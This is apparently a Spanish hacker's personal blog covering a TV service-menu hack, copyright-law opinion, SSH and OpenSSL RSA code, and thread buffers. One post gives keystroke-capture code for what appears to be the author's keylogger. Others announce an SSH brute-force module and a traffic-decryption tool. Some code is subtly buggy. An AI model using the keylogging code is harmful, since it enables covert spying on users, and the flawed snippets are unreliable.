Code in the hell

Samsung UN40D5003 - Reproducir Video desde USB

2011-11-14T03:18:00.001-05:00

El Samsung UN40D5003 es en si un televisor LED Full HD bastante básico, no tiene configuraciones complejas y su funcionalidad esta bastante limitada para televisores de ultima generación; siendo el modelo correspondiente a la linea de bajo costo de Samsung. Ahora, es importante el anotar que para una compañía es demasiado costoso fabricar múltiples placas madre para diferentes modelos de la misma linea... esto significa que aunque este modelo puede parecer un "cheaper" realmente tiene las capacidades suficientes para tener toda la funcionalidad de uno de mayor costo y sin mucho esfuerzo... so let's go motafocas.

Activando la Reproducción de Video

Inicialmente debemos ingresar en el menú de servicio del televisor, así que apagamos el televisor y luego oprimimos [Mute][1][8][2][Power], deberían ver algo como...

Así que vemos el Menú principal de servicio y con el modelo de nuestro tv, le apachurramos al [Enter] en "Option" y luego en "Model", apachurramos el botón de la derecha y cambiamos el modelo a UD5800, oprimimos return hasta llegar al menú principal y vamos a "Control", luego a "Sound" y habilitamos la opción de "High Devi", apagamos y prendemos y voila, tendremos unas cuantas (muchas) nuevas opciones, entre ellas ahora podremos reproducir videos en múltiples formatos (flv, avi, mpg, mkv, mp4, divx... no webm no :P) desde los dispositivos USB, los subtitulos deben tener el mismo nombre del archivo de video y funcionaran, otras opciones no han desaparecido, solo se han movido (como el cambio de modo de video) así que no os desespereis (PD: Lo de network no funca, ese es tema de otro post).

Como... NO CAGARLA

Es de entender el que es un tanto riesgoso el meterse con todos los parámetros (para que se activen mas opciones se debe oprimir 4 veces '0'), teniendo en cuenta esto es de SUMA importancia el entender que los nombres de los modelos van de la siguiente forma:

Tipo: L = LCD, P = Plasma, U = LED.
Región: A = Australia, E = Europa, N = Norte America.
Tamaño: ... Ya me jode ¬¬.
Año: A = 2008, B = 2009, C = 2010, D = 2011.
Serie: 5XXX, 6XXX, etc..

Variante: Depende del País (Es por eso que el jodido update de firmware de la pagina de Samsung no le funca a los televisores de Colombia)

Por todo lo anterior, usar ciertos tipos de modelos puede JODER el televisor, ya que no es lo mismo LCD que LED, lo de High Dev es para soportar Matroska y ya me canse de escribir así que choas.

Es increíble lo bajo que caes... de hackear el protocolo mas seguro del mundo... a hackear televisores y sin una sola linea de código... yeah I'm a fucking death star ¬¬.

Att: Iker

Do you wanna Code?

2011-11-09T11:45:00.000-05:00

Take your code...

http://pastebin.com/R6d7Jjxh

Saludos,

Att: Iker

La guerra desde otro punto de vista

2011-10-16T12:08:00.002-05:00

Y buehh, que hace rato no publico (Y que tengo un montón que), les dejo una tragicomedia bastante interesante, viendo la guerra desde el punto de vista criptografico.

http://www.kriptopolis.org/la-maquina-enigma

Saludos,

Att: Iker

New... New... New TOY!!!

2011-07-18T15:16:00.003-05:00

Specs

Base Model: HP Proliant ML150 G6

CPU: Intel Xeon x5560 2.8 GHz X 2
Video: Nvidia GeForce GTX 580
Memory: 12 GB DDR3 ECC (1333Mhz) 9-9-9-24
Power Supply: Antec CP-850

:)

Salu2.

Att: Iker

Defcon

2011-05-18T12:11:00.002-05:00

Pues eso, este año vamos para el CTF.

Att: Iker

Skynet!!!!

2011-04-20T12:31:00.000-05:00

Ayer fue el día que skynet toma conciencia, lastima que se tire casi 1 semana en reinicio, reconstrucción de raids y demás xD. (Tengo FEAR!!)

Ley Lleras

2011-04-11T09:48:00.005-05:00

A ver, comencemos... Últimamente debido a digamos que mi conocida afición por el hacking, programación, ~~piratería~~ se me ha preguntado bastante por mi opinión y acciones futuras acerca de la "Ley Lleras".

Situación

El 90% de mis conocidos apoya la Ley Lleras con argumentos como:

* Nos van a meter a todos a la cárcel.
* Ya no voy a poder pasarle música a mis amigos.
* Ya no voy a poder bajar música de internet ni películas, ni series, ni nada!!.
* No voy a poder bajar el Fotoshock ni el Coral ni el Nada y no seré nadie cuando grande.
* Nos van a joder a los usuarios, nos van a vigilar el trafico a internet y luego nos mutilan y luego nos matan y nos tiran a los lobos.
* No me alcanza la plata para el Ventanucos y la Oficina y el Fotoshock y el Coral y (Largo etc...).

Mi posición

Actualmente vemos en Colombia una linda feria de carnaval en cada esquina, vendiendo programas piratas, música, películas y cuanta gilipollez se les ocurre. Según la opinión publica eso esta "mal" pero bien que se la pasan halla metidos comprando. Si yo fuera el artista, director, etc. que saco ese disco, película o cualquier otra "gilipollez" estaría sumamente cabreado y repartiendo ostias en el centro de Bogota.

Internet es actualmente un mundo total y absolutamente anarquista donde se puede encontrar DE TODO y es que solamente tenemos que saber buscar para encontrar cosas como "Pornografía infantil, Drogas, Videos de Masacres, torturas, filias, etc."; obviamente nadie puede controlar internet, pero haciendo una analogía, es exactamente como una sociedad, un mundo nuevo, pero sin reglas!!!(~~Venga, todos a ver porno~~).

Ahora comencemos a responder uno a uno esos argumentos que tanto tienen como emblema los detractores del proyecto de ley:

* Nos van a meter a todos a la cárcel.

Si uno sale a robar a la calle también lo meten a la cárcel, si uno se baja toda la discografia de pepito perez y la filarmonica de narnia también lo deberían meter a la cárcel.

* Ya no voy a poder pasarle música a mis amigos.

A ver... uds de verdad creen que van a estar al detalle de "personas" teniendo 2 millones de usuarios de internet?, realmente cada uno de uds tienen tanto ego como para pensar eso?, a menos que genere un trafico "respetable"(~~Como molan los 16 megas de ETB~~) no le va a pasar nada.

* Ya no voy a poder bajar música de internet ni películas, ni series, ni nada!!.

De hecho, no deberían hacerlo. Les contare un secreto... Yo me bajo películas a mogollón de internet y cuando me gustan voy a verlas a cine, bueno; se me acabo el paraíso y de hecho todos sabemos que esta mal hecho.

* No voy a poder bajar el Fotoshock ni el Coral ni el Nada y no seré nadie cuando grande.

De hecho hay una cantidad nada despreciable de programadores invirtiendo investigación, tiempo, neuronas(~~Que cuando uno programa pierde cantidades~~) y dinero en hacer programas de calidad para venderlos al precio que ellos creen justo, así que no deberían bajar ni el "fotoshock" ni el "Coral" ni el nada, si no tienen para comprarlos muy simple...DE MALAS... vivimos en una sociedad capitalista desde hace mas de 100 años, seria bueno irse acostumbrando. O acaso alguien sale a robarle las pizzas de Pizza 1969 por que son mas caras?, NO!!, simplemente no las compran, que las de la tienda de la esquina son mas baratas, pues si, pero no son iguales probablemente. Y es que es muy simple, esas personas tienen como objetivo la ley del mínimo esfuerzo (~~Todo masticado~~). Lo mas gracioso de esto es que muchos de ellos son los mismos "linuxeros", que coños hace un linuxero protestando?, no se supone que solo usa software libre y con eso se puede valer por si mismo?.

* Nos van a joder a los usuarios, nos van a vigilar el trafico a internet y luego nos mutilan y luego nos matan y nos tiran a los lobos.

Vuelvo a la Analogía, si en las calles no hubieran policías todo el mundo robaría y haría lo que se le de la gana; adivinen que?, en internet todo el mundo hace lo que se le da la gana!!!.
La mayoría de los que protestan por la ley Lleras son menores de 30 años ansiosos de libertad(~~Que confunden con libertinaje~~)... eso dice mucho, (~~De hecho yo también soy un cagon~~), por que a los que tienen mas de 30 años (La mayoría padres) no les preocupa tanto eso?(~~Ostia para el que diga que es que no saben usarla~~), les preocupa ver mas a sus hijos pudriéndose en internet con todo (Recordar que se encuentra de todo) lo que encuentran a diario que bajar una canción de Los Ramoncios y el Acido Burico.
Si van a reclamar, que sea con argumentos y no un don nadie que no ha vivido la mitad de su vida(~~Pienso morir a los 40, asi que ya vivi mas de la mitad de mi vida JA!!!~~).

* No me alcanza la plata para el Ventanucos y la Oficina y el Fotoshock y el Coral y (Largo etc...).

Volvemos a lo mismos... Sociedad Capitalista!!!, si quieren software gratis, gente saltando entre flores y compartiendo y cosas tipo así; tienen opciones socialistas... di tu China, Corea del Norte, Cuba... tentadores ofertas no?.

Para terminar, yo nunca he manifestado mi aprobación de la Ley Sinde o Hanopi, de hecho en mi parecer son extremas, pero tampoco quiero expresar el que no se deba regular internet, es necesario hacerlo, pero hacerlo bien. Mi post no es en contra de los que van en contra(~~Tres Tristes Tigres...~~) de la ley, mi post es en contra de los hipócritas que reclaman una libertad que no son capaces de manejar, una libertad que ni siquiera comprender y un mundo que ni siquiera conocen y que muy seguramente no les interesa conocer.
Es obvio que existen falencias en el proyecto de Ley, pero es por corregir estas por lo que deben pelear no por el que "no se apruebe la ley por que no me puedo bajar el ultimo de Papa Yonki".
La pelea debe ser por ver que sea bien aplicada, que se cumplan sus diferentes puntos, que sean claros y que realmente ejerza un control en la red.

Es cierto que esto no acabara la piratería, de hecho para poder acabarla se necesita la colaboración de todos, no solo del gobierno si no también de las empresas y las personas, un ejemplo simple seria el que Microsoft declarara una semana de licenciamiento masivo de Windows a 30 us, los usuarios piratas son un mercado perdido para Microsoft, si logra penetración en este mercado indudablemente gana, no tiene nada que perder (Pero yo si me quejo, por que mi copia de Windows me valió 300 us ¬¬); lamentablemente esos esfuerzos de parte y parte... no se darán y es básicamente por que este mundo es una mierda y le quedan solamente 619 Días.

PD1: Si quieren ver modelos de verdaderas sociedades y como la piratería no les llega a afectar de la misma forma que al 90% del mundo pueden ver el caso de Japón.

PD2: No, y no, y otra vez!!! no me voy a unir a causas en contra ni a favor del proyecto de Ley y mucho menos me voy a hackear o DOSear(~~Venga, venga, lamos al poder!!!~~) paginas del gobierno con excusas tontas como el tumbar el proyecto de Ley.

PD3: Acepto y estoy dispuesto a "hablar" acerca de este tema, mas no a "discutir" de forma vaga y sin argumentos con fanboys y Testículos(Albóndigas) de Jehovah convertidos a la religión del Monstruo de Espagueti Volador(~~El dios de Internet...Amen~~).

Joder que se me iba olvidando la tira:

Saludos.

Att: Iker

Tiempo

2011-03-21T02:39:00.004-05:00

De hecho aunque en mi ambiente laboral soy el mas "peke", ya es el momento en el que se mira atrás y se ven demasiados años, personas, momentos y sobre todo escenas que han pasado, es ahora cuando se hace un alto y te das cuenta donde empezaste y donde estas. He de reconocer que he dicho "Nada mal", pero también he de reconocer que hay cierta nostalgia de no haber detenido el tiempo cuando podía.
Aun hoy en día me restan muchas cosas por hacer y solo queda esperar que el tiempo sea benevolente conmigo.

PD: Solo 640 días mas!!!!

Att: Iker

Just... I don't know

2010-12-28T10:46:00.001-05:00

long CSSHCrypt::AddAlgsNames( byte *pbtBuff, int iMaxSize, u_long ulOpts, u_long ulLimit, ALGGETNAMEFUNC fnAlgFnc)
{
u_long ulBase = 0, ulAux = 0x01L;
const char *pszTmp = NULL;
u_long ulTmp = 0;

for ( ulBase = sizeof( u_long ); ulAux < ulLimit; ulAux <<= 1) {
if ((ulOpts & ulAux) != ulAux)
continue;

pszTmp = (this->*fnAlgFnc)( ulAux );

if (pszTmp == NULL)
continue;

// If is our next param we need a separator
if (ulTmp > 0)
pbtBuff[ulBase++] = CSSH_CONCAT_CHAR;

ulTmp = strlen( pszTmp );

// overflow :/, set quiet error and exit
if ((ulBase + ulTmp) > iMaxSize) {
CSSHError::SetError( CSSH_ERR_NOT_ENOUGH_BUFFER );
return 0;
}

memcpy( &pbtBuff[ulBase], pszTmp, ulTmp);

ulBase += ulTmp;
}

ulTmp = htonl((ulBase - sizeof( u_long )));

memcpy( pbtBuff, &ulTmp, sizeof( u_long ));

return ulBase;
}

Fuck you SSH!!

Kinect UI

2010-12-17T11:27:00.004-05:00

:).

Att: Iker

Fist Attempt

2010-12-15T11:07:00.001-05:00

Motafucka.

Att: Iker

ToAscii && ToUnicode ( Y las versiones Ex )

2010-12-06T02:42:00.001-05:00

Dicese, que un buen día tuve que retomar algo muy...muy...muy abandonado como lo es DIKE, los que recuerden sabrán que DIKE tiene un problema en Windows 7 con los acentos, ya que los desactiva al usuario aunque los loguee correctamente, después de 2 días investigando y probando llegue a la solución del problema, la cual ni siquiera documentada esta, así que a explicar.

ToAscii && ToAsciiEx && ToUnicode && ToUnicodeEx

Estas funciones estan diseñadas para realizar la "traducción" de códigos de teclas virtuales + flags de estas + estado del teclado + configuración regional del teclado, a sus correspondientes teclas, estas proveen un mecanismo de detección de la tecla bastante efectivo y preciso, el problema de estas es el manejo de "Dead Keys".

Dead Keys

Las Dead Keys son teclas especiales que actúan como modificadoras de una tecla base, un claro ejemplo de esto son las tildes, tenemos como base la tecla "a" y como dead key "´", siendo que la misma no se muestra a menos de ser presionada nuevamente, en combinación con una tecla base como "a" tenemos el resultado "á", esto significa que la información acerca de las dead keys presionadas es almacenada en un buffer.

Dead Keys en el Buffer

Cuando hacemos uso de ToAscii, ToUnicode, etc... este toma la información del buffer del teclado que posee y realiza la traducción de la tecla segun los diferentes que toma, en determinados casos cuando se procesan dead keys la funcion falla y al realizar la traducción realiza una limpieza de este buffer, removiendo la dead key, esto constituye el que la tecla no se envíe como un evento del teclado a las demás aplicaciones, la documentación oficialmente dice:

The parameters supplied to the ToAsciiEx function might not be sufficient to translate the virtual-key code, because a previous dead key is stored in the keyboard layout.

En este caso el problema que nos causan las dead keys al estar presentes es el tener que procesarlas, en este caso lo que tenemos que hacer es intentar el dejar el buffer con la misma información que poseía cuando intentamos procesar la dead key y pasar a la siguiente tecla que vamos a loguear. Oficialmente no existe una documentación que mencione el proceso, pero gracias a un programador de microsoft y su blog ( lo siento, perdí el enlace ) el mismo nos menciona como.

El truco es el realizar múltiples llamadas a ToAscii, etc... con la misma información de la dead key hasta que el valor de retorno sea mayor a 0, esto logra limpiar el buffer para poder posteriormente re introducir la dead key en combinación con una tecla base si llegase a ser el caso. Una vez "procesada" la dead key lo que debemos hacer es restablecer el estado del buffer usando la información inicial ( la de la dead key ) una vez procesada la tecla base, logrando limpiar el buffer totalmente:

GetKeyboardState( btKeybState );
hklKeybLayout = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), NULL));

iRet = ToAsciiEx( iKey, iKeyData, btKeybState, (LPWORD)szKeyName, 0, hklKeybLayout);

if (iRet == -1) {
iLastKey = iKey;
iLastKeyData = iKeyData;

while (ToAsciiEx( iKey, iKeyData, btKeybState, (LPWORD)szKeyName, 0, hklKeybLayout) <> 0)
WriteToFile( iRet, szKeyName);

if (iLastKey != 0) {
memset( btKeybState, 0, TWOKEY_KEYB_SIZE + 1);

ToAsciiEx( iLastKey, iLastKeyData, btKeybState, (LPWORD)szKeyName, 0, hklKeybLayout);

iLastKey = 0;
}

return;

Aunque la solución parezca simple, si no esta documentada ( y no lo esta ) es un verdadero martirio el encontrar la solución y sobre todo algo de documentación al respecto que pueda ayudar, como complemento podemos elegir el no procesar ciertas teclas que de por si pueden ser mejor traducidas con "GetKeyNameText", en código es algo como:

#define IS_SPECIAL_CHAR( x ) ((ispunct(x) != 0 && iscntrl(x) != 0 && isalnum(x) == 0) || ((x >= VK_LBUTTON && x <= VK_HELP && x != VK_SPACE) || (x >= VK_LWIN && x <= VK_NUMPAD9) || (x >= VK_F1 && x <= VK_F12))) if (IS_SPECIAL_CHAR( iKey ) != 0) { iRet = GetKeyNameText( iKeyData, szKeyName, 32); if (iRet > 0)
WriteToFile( "[%s]", szKeyName);

return;
}

Ya con esto debemos tener un manejo casi perfecto de las dead keys ;).

PD: DKEY esta terminado ya pero en private release and testing.

Saludos.

Att: Iker

Blackhat Arsenal

2010-06-10T12:12:00.002-05:00

Pues eso, Soy Speaker de Blackhat Arsenal 2010 con el proyecto Scylla del cual hace parte SSHLogin.

HPTA VIDA SOY FELIZ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! xD.

Att: Iker

SSHack

2010-05-30T22:14:00.003-05:00

Pues... en base a todo el trabajo realizado para SSHLogin decidí hacer SSHack que es básicamente una herramienta capaz de descifrar el trafico SSH(2) siempre y cuando se cumplan 2 condiciones:

1. Capturar el trafico desde el comienzo y en Full Duplex.
2. No perder ningún paquete de la comunicación ( El cifrado es comúnmente CBC y la perdida de paquetes imposibilita el descifrado de la comunicación. ).

El desarrollo de SSHack comienza a partir de hoy.

Update 18 de Junio: Dem trabajo, todavía no he empezado.

Salu2.

Att: Iker

SSHLogin

2010-05-16T17:10:00.003-05:00

Básicamente en mi team, osease CUT, osease http://www.colombiaunderground.org, se me pidió el que realizara un modulo para fuerza bruta sobre SSH para ser integrado a un proyecto del team llamado "Scylla". Los que conozcan este protocolo sabrán que no es tan simple y no es un telnet con OpenSSL como muchos creen, ya completo unos cuantos días codeando y estoy cerca de acabar, así que cuando este listo habar post acerca de todas las desventuras y aventuras de como fue realizado.

Update: Finalizado, post con benchmark y demas http://foro.colombiaunderground.org/index.php/topic,5137.0.html.

Salu2.

Att: Iker

RSA, Certificados X509 y OpenSSL

2010-05-16T02:40:00.000-05:00

Debido a que e visto que no es un tema muy común el uso de diferentes librerías, que muchas veces las manpages no dejan si no más dudas y que los ejemplos a veces son complicados de encontrar; he creado este mini articulo de cómo usar el cifrado RSA junto con Certificados x509 mediante OpenSSL; de una vez advierto el que no me detendré a explicar que es RSA, certificados x509 u OpenSSL.

Comenzando

Bueno venga lo primero que tenemos que tener es un certificado x509 que nos funcione, así que generamos una llave privada de la siguiente forma:

openssl dsaparam -rand -genkey -out privkey.txt 1024

Listo la llave privada, ahora la usamos para crear nuestro certificado personal:

openssl req -new -x509 -days 365 -key privkey.txt -out cert.crt

Ya teniendo tanto el certificado como la llave privada podemos proceder a la parte interesante, que es utilizarlos.

Cargando el certificado

La idea de cargar el certificado es tener como tal la llave pública del mismo y usar esta para realizar algún proceso en específico como lo puede ser la autenticidad de un mensaje/archivo o el cifrado del mismo.
En este caso la forma de cargar el certificado mediante OpenSSL es bastante simple:

bool CRSA::LoadPublicKey( const char *pszCertFile )
{
FILE *pfFile = NULL;
X509 *pxCert;

pfFile = fopen( pszCertFile,"r");

if (pfFile == NULL) {
SetErr( CRSA_ERR_UNABLE_TO_OPEN_FILE );
return false;
}

pxCert = X509_new();

if (pxCert == NULL) {
SetErr( CRSA_ERR_UNABLE_TO_ALLOCATE_CERT );
fclose( pfFile );
return false;
}

if (PEM_read_X509( pfFile, &pxCert, NULL, NULL) == NULL) {
SetErr( CRSA_ERR_OPEN_SSL_INTERNAL );
fclose( pfFile );
X509_free( pxCert );
return false;
}

fclose( pfFile );

El que no sepa que es "PEM" directamente a wikipedia a leer:

http://en.wikipedia.org/wiki/Privacy_Enhanced_Mail

Este código es extraído de mi librería para manejo básico de RSA con OpenSSL, esta muestra las diferentes operaciones que en realidad se limitan a "PEM_read_X509", cabe señalar el que también es válido cargar un certificado que traiga la llave privada embebida y en ese caso debemos especificar la contraseña del archivo; el prototipo de la función es:

X509 *PEM_read_X509(FILE *fp, X509 **x, pem_password_cb *cb, void *u);

En este caso el argumento que nos interesa es pem_password_cb que es la callback seteada para especificar el password del certificado, lo cual sería algo como:

int PassCllBck(char *pszBuf, int iSize, int iRW, void *lvParam);
{
int iLen = strlen("MyPass");

// Si es demasiado larga, limitamos el tamaño
if (iLen > iSize)
iLen = iSize;

memcpy( pszBuf, "MyPass", iLen);

return iLen;
}

Esto es válido para todas las funciones que implican el uso de algún password y que implementen callbacks como lo son "PEM_read_PrivateKey" y "PEM_read_DSAPrivateKey" entre otras; igualmente el parámetro "void *u" también puede ser usado para especificar la frase, por ende la llamada podría realizarse de esta forma.

PEM_read_X509( pfFile, &pxCert, NULL, "MyPass");

Obteniendo la llave publica

Ya que tenemos el certificado cargado podemos acceder a los diferentes valores del mismo, en este caso nos interesa la llave pública que contiene, el problema radica en que las funciones específicas para el cifrado mediante RSA requieren precisamente un objeto de tipo "RSA" lo cual no tenemos, aun así es fácilmente extraíble de la siguiente forma:

RSA *prPublicKey = NULL;
EVP_PKEY *pTmp = NULL;
X509 *pxCert;

pTmp = X509_get_pubkey( pxCert );

X509_free( pxCert );
pxCert = NULL;

if (pTmp == NULL) {
SetErr( CRSA_ERR_OPEN_SSL_INTERNAL );
return false;
}

if (prPublicKey != NULL) {
RSA_free( prPublicKey );
m_prPublicKey = NULL;
}

prPublicKey = EVP_PKEY_get1_RSA( pTmp );

EVP_PKEY_free( pTmp );

if (prPublicKey == NULL) {
SetErr( CRSA_ERR_OPEN_SSL_INTERNAL );
return false;
}

return true;
}

Como vemos la función "X509_get_pubkey" nos permite extraer la llave pública como un objeto de tipo EVP_PKEY ( El cual nos es útil en otras instancias ) y a partir de este podemos extraer la llave pública mediante "EVP_PKEY_get1_RSA" ya como un objeto "RSA" el cual es el que vamos a usar directamente para el cifrado y descifrado de la información.
Es de recalcar el que podemos exportar esta llave mediante otras funciones como lo es "PEM_write_PUBKEY"( Admite un objeto EVP_PKEY no RSA ), directamente es mejor almacenar los certificados que los exports generados por estas funciones debido a que el proceso de carga puede tener incompatibilidades dependientes de la API usada.

Cargando la llave Privada

La llave privada en este caso la generamos en texto plano ( Que si coño que no se debe hacer pero es un puto ejemplo ); así que el proceso de cargado de la misma no nos requiere mayor problema, basta con:

bool CRSA::LoadPrivateKey( const char *pszFile )
{
FILE *pfFile = NULL;
RSA *prPrivateKey;

pfFile = fopen( pszFile, "r");

if (pfFile == NULL) {
SetErr( CRSA_ERR_UNABLE_TO_OPEN_FILE );
return false;
}

if (prPrivateKey == NULL) {
RSA_free( m_prPrivateKey );
m_prPrivateKey = NULL;
}

prPrivateKey = PEM_read_RSAPrivateKey( pfFile, NULL, NULL, NULL);

fclose( pfFile );

if (prPrivateKey == NULL) {
SetErr( CRSA_ERR_OPEN_SSL_INTERNAL);
return false;
}

return true;
}

Como vemos el método es sumamente sencillo, para tener en cuenta que el método usado para cargar la llave es un método PEM precisamente porque la llave usa esta codificación; también es posible el cargar llaves que están cifradas usando otros argumentos de la función; el prototipo de la función es:

RSA *PEM_read_RSAPrivateKey(FILE *fp, RSA **x, pem_password_cb *cb, void *u);

Anteriormente ya se explico el cómo especificar una frase de password para cargar el archivo así que continuemos.

Cifrando y Descifrando

Bien ya tenemos como tal nuestras respectivas llaves y podemos realizar el proceso de cifrado y descifrado, ahora cabe anotar que existen 4 formas de realizar el cifrado con OpenSSL, ateniéndonos al man page:

RSA_PKCS1_PADDING:

PKCS #1 v1.5 padding. This currently is the most widely used mode.

RSA_PKCS1_OAEP_PADDING:

EME-OAEP as defined in PKCS #1 v2.0 with SHA-1, MGF1 and an empty encoding parameter. This mode is recommended for all new applications.

RSA_SSLV23_PADDING:

PKCS #1 v1.5 padding with an SSL-specific modification that denotes that the server is SSL3 capable.

RSA_NO_PADDING

Raw RSA encryption. This mode should only be used to implement cryptographically sound padding modes in the application code. Encrypting user data directly with RSA is insecure.

Especial cuidado en el ultimo modo que especifica el que RSA_NO_PADDING es inseguro al arrojar siempre el mismo resultado para un texto cifrado haciendo posible ataques al mismo de una forma mucho mas fácil, lo recomendable es combinarlo con alguno de los otros modos, básicamente es el mismo concepto manejado por los diferentes modos de cifrado por bloque que se usan en criptografía simetrica.Ya que tenemos claro los diferentes modos podemos pasar al cómo usarlos ya que algunos involucran IV's dentro del mensaje y es un error común el implementarlos mal y desconocer la razón de por qué la librería retorna error al realizar la operación; así que primeramente debemos tener en cuenta el tamaño del bloque a cifrar ya que para cada modo es distinto, remitiéndonos a la documentación:

flen must be less than RSA_size(rsa) - 11 for the PKCS #1 v1.5 based padding modes, less than RSA_size(rsa) - 41 for RSA_PKCS1_OAEP_PADDING and exactly RSA_size(rsa) for RSA_NO_PADDING. The random number generator must be seeded prior to calling RSA_public_encrypt().

Por ende podemos crear una función que nos calcule el tamaño del bloque mediante RSA_size y el modo que vamos a usar para cifrar de esta forma:

#define CRSA_PKCS1_PADDING_BYTES 11
#define CRSA_PKCS1_OAEP_PADDING_BYTES 41

int CRSA::GetSize( CRSA_PADDING cpMode )
{
int iRet = 0;

if (m_prPublicKey != NULL)
iRet = RSA_size( m_prPublicKey );

if (m_prPrivateKey != NULL)
iRet = RSA_size( m_prPrivateKey );

if (iRet == 0) {
SetErr( CRSA_ERR_KEYS_MISSING );
return 0;
}

switch ( cpMode ) {
case CRSA_NO_PADDING:
break;
case CRSA_PKCS1_PADDING:
iRet -= CRSA_PKCS1_PADDING_BYTES;
break;
case CRSA_PKCS1_OAEP_PADDING:
iRet -= CRSA_PKCS1_PADDING_BYTES;
default:
SetErr( CRSA_ERR_INVALID_PARAMETERS );
return 0;
}

return iRet;
}

A tener en cuenta que RSA_size requiere una llave a fin de dar el tamaño en base a la misma ( 1024 bits = 128 bytes ), luego realizamos la respectiva resta para obtener el tamaño de bloque compatible con el modo que vamos a usar.
Ya con esto creamos una implementación de cifrado compatible con los diversos tipos:

int CRSA::EncryptBlock( u_char *pszSrc, int iLenght, u_char *pszDst, CRSA_PADDING cpMode)
{
int iRet = 0, iSize = 0;

if (HavePublicKey() == false) {
SetErr( CRSA_ERR_PUBLIC_KEY_MISSING );
return 0;
}

iSize = GetSize( cpMode );

if (pszSrc == NULL || iSize == 0 || iLenght > iSize || pszDst == NULL) {
SetErr( CRSA_ERR_INVALID_PARAMETERS );
return 0;
}

memset( pszDst, 0x00, iSize + 1);

iRet = RSA_public_encrypt( iLenght, pszSrc, pszDst, prPublicKey, cpMode);

if (iRet == -1) {
SetErr( CRSA_ERR_OPEN_SSL_INTERNAL );
return 0;
}

return iRet;
}

Podemos ver que es relativamente simple el realizar la operaciones y que la función "RSA_public_encrypt" nos devolverá el tamaño del bloque cifrado, debemos recordar que este será del mismo tamaño que la llave que estamos usando para cifrar.

En el caso de descifrar vamos a realizar la misma operación solo que usando "RSA_private_decrypt", en este caso debemos tener en cuenta que siempre vamos a leer bloques del tamaño dado por RSA_size y obviamente la salida según el método de padding va a ser menor a RSA_size, así que debemos asegurarnos de los tamaños de los buffers antes de realizar cualquier operación.
Es posible también el realizar el proceso inverso ( cifrar con la llave privada, descifrar con la pública ) mediante las funciones "RSA_private_encrypt" y "RSA_public_decrypt", los prototipos de las mismas son exactamente iguales a las anteriores.

Finalizando

Ya para finalizar existen varias funciones que también resultan útiles como:

RSA_check_key
RSA_generate_key
RSA_sign
RSA_verify

Sin más que añadir este es el final de articulo.

Salu2.

PD: Es una putada publicar en 2 lados la misma joda pero que las etiquetas sean diferentes ¬¬.

Att: Iker

Buffer Circular y algo de mutex en linux

2010-04-19T02:28:00.003-05:00

Buenassssssssss, resultase que un buen día yo quería ser feliz y trabajar con pipes para sincronizar 2 threads, la vaina es que era en linux así que me dije "mi mismo, usemos pipes como en windows" y pues así fue, así que lalalala fui a ver pero no me daban las mismas facilidades que en windows, por ende solo quedaba una opción, codearme mi propia pipe así que comencemos.

Primeramente ahi que especifica que en windows las pipes nos permiten definir en su creación un tamaño fijo para el buffer, esto es en gran medida una buena ventaja, aclarar que las pipes en todos los casos no son buenas y su performance puede llegar a ser terrorífico si lo miramos de cerca :P.

Mi objetivo es simplemente intercambiar información entre threads de forma simple, la forma mas simple que se me vino a la mente era un buffer circular, que básicamente es un espacio de memoria de tamaño fijo.

El problema que se presenta es como sincronizar threads de forma correcta mas cuando el buffer a de ser multiplataforma; por una parte vamos a usar Secciones criticas y sus respectivas funciones.

En este caso nos valemos de macros para windows y linux:

#ifdef WIN32

/** Define Critical Section type */
typedef CRITICAL_SECTION SECTION_HANDLE;

/** Critical Sections macro */
#define INIT_SECTION( x ) InitializeCriticalSection( (x) )
/** Critical Sections macro */
#define DELETE_SECTION( x ) DeleteCriticalSection( (x) )
/** Critical Sections macro */
#define ENTER_SECTION( x ) EnterCriticalSection( (x) )
/** Critical Sections macro */
#define TRY_ENTER_SECTION( x ) TryEnterCriticalSection( (x) )
/** Critical Sections macro */
#define LEAVE_SECTION( x ) LeaveCriticalSection( (x) )
#else
/** Define Critical Section type in linux */
typedef pthread_mutex_t SECTION_HANDLE;

/** Critical Sections macro */
#define INIT_SECTION( x ) pthread_mutex_t n = PTHREAD_MUTEX_INITIALIZER; *(x) = n
/** Critical Sections macro */
#define DELETE_SECTION( x ) (x)
/** Critical Sections macro */
#define ENTER_SECTION( x ) pthread_mutex_lock( (x) )
/** Critical Sections macro */
#define TRY_ENTER_SECTION( x ) pthread_mutex_trylock( (x) ) ? 0 : 1
/** Critical Sections macro */
#define LEAVE_SECTION( x ) pthread_mutex_unlock( (x) )
#endif

Recordar que en linux las secciones criticas no necesitan ser eliminadas por ende no hay una función para ello, algo que puede representar un dolor de cabeza para muchos es la creación:

#define INIT_SECTION( x ) pthread_mutex_t n = PTHREAD_MUTEX_INITIALIZER; *(x) = n

lo definimos de esta forma debido a que por extraño que parezca y si mi memoria no me falla PTHREAD_MUTEX_INITIALIZER esta definido como un array lo cual es vayandole putada y debido a restricciones del lenguaje ( C++ ) no es posible hacerlo sin una variable auxiliar :-\.

Ya con estos macros solo nos queda entrar al buffer y realizar las operaciones, claro en caso de que ya halla alguien adentro seria un tanto encabronante el tener un deadlock; así que nos hacemos un waiter =D, realmente en linux no muchas personas saben como y resultan implementando verdaderas cochinadas, así que dejo mi implementación como mera y vana documentación xD.

Write

int CBuffer::Write( const byte *pbtSrc, long lSize, u_int uiTimeout)
{
u_long ulTmp = 0;

if (pbtSrc == NULL || lSize <= 0 || lSize > CBUFF_MAX_BUFF_SIZE)
return CBUFF_INVALID_PARAMS;

if (WaitUnlock( uiTimeout ) == false)
return CBUFF_UNABLE_TO_LOCK;

if (GetAvaliableWriteSize() < lSize) {
Unlock();
return CBUFF_NOT_ENOUGH_SPACE;
}
....blablabla

Read:

int CBuffer::Read( byte *pbtDst, long lSize, u_int uiTimeout)
{
u_long ulTmp = 0;

if (pbtDst == NULL || lSize <= 0)
return CBUFF_INVALID_PARAMS;

if (WaitUnlock( uiTimeout ) == false)
return CBUFF_UNABLE_TO_LOCK;

if (GetAvaliableReadSize() < lSize) {
Unlock();
return CBUFF_NOT_ENOUGH_SPACE;
}
....blablabla

Y la parte que todos esperaban ( joder quien lee estas cosas? ) el waiter:

bool CBuffer::WaitUnlock( u_int uiTimeout )
{

if (uiTimeout == 0 || IsLocked() == false)
return true;

if (uiTimeout == CBUFF_INFINITE) {
ENTER_SECTION( &m_shBuff );
return true;
}
#ifdef WIN32
bool bRet = false;
timeval tvInit;

gettimeofday( &tvInit, NULL);

while(GetAndDiffTime( &tvInit ) < uiTimeout && bRet == false) {
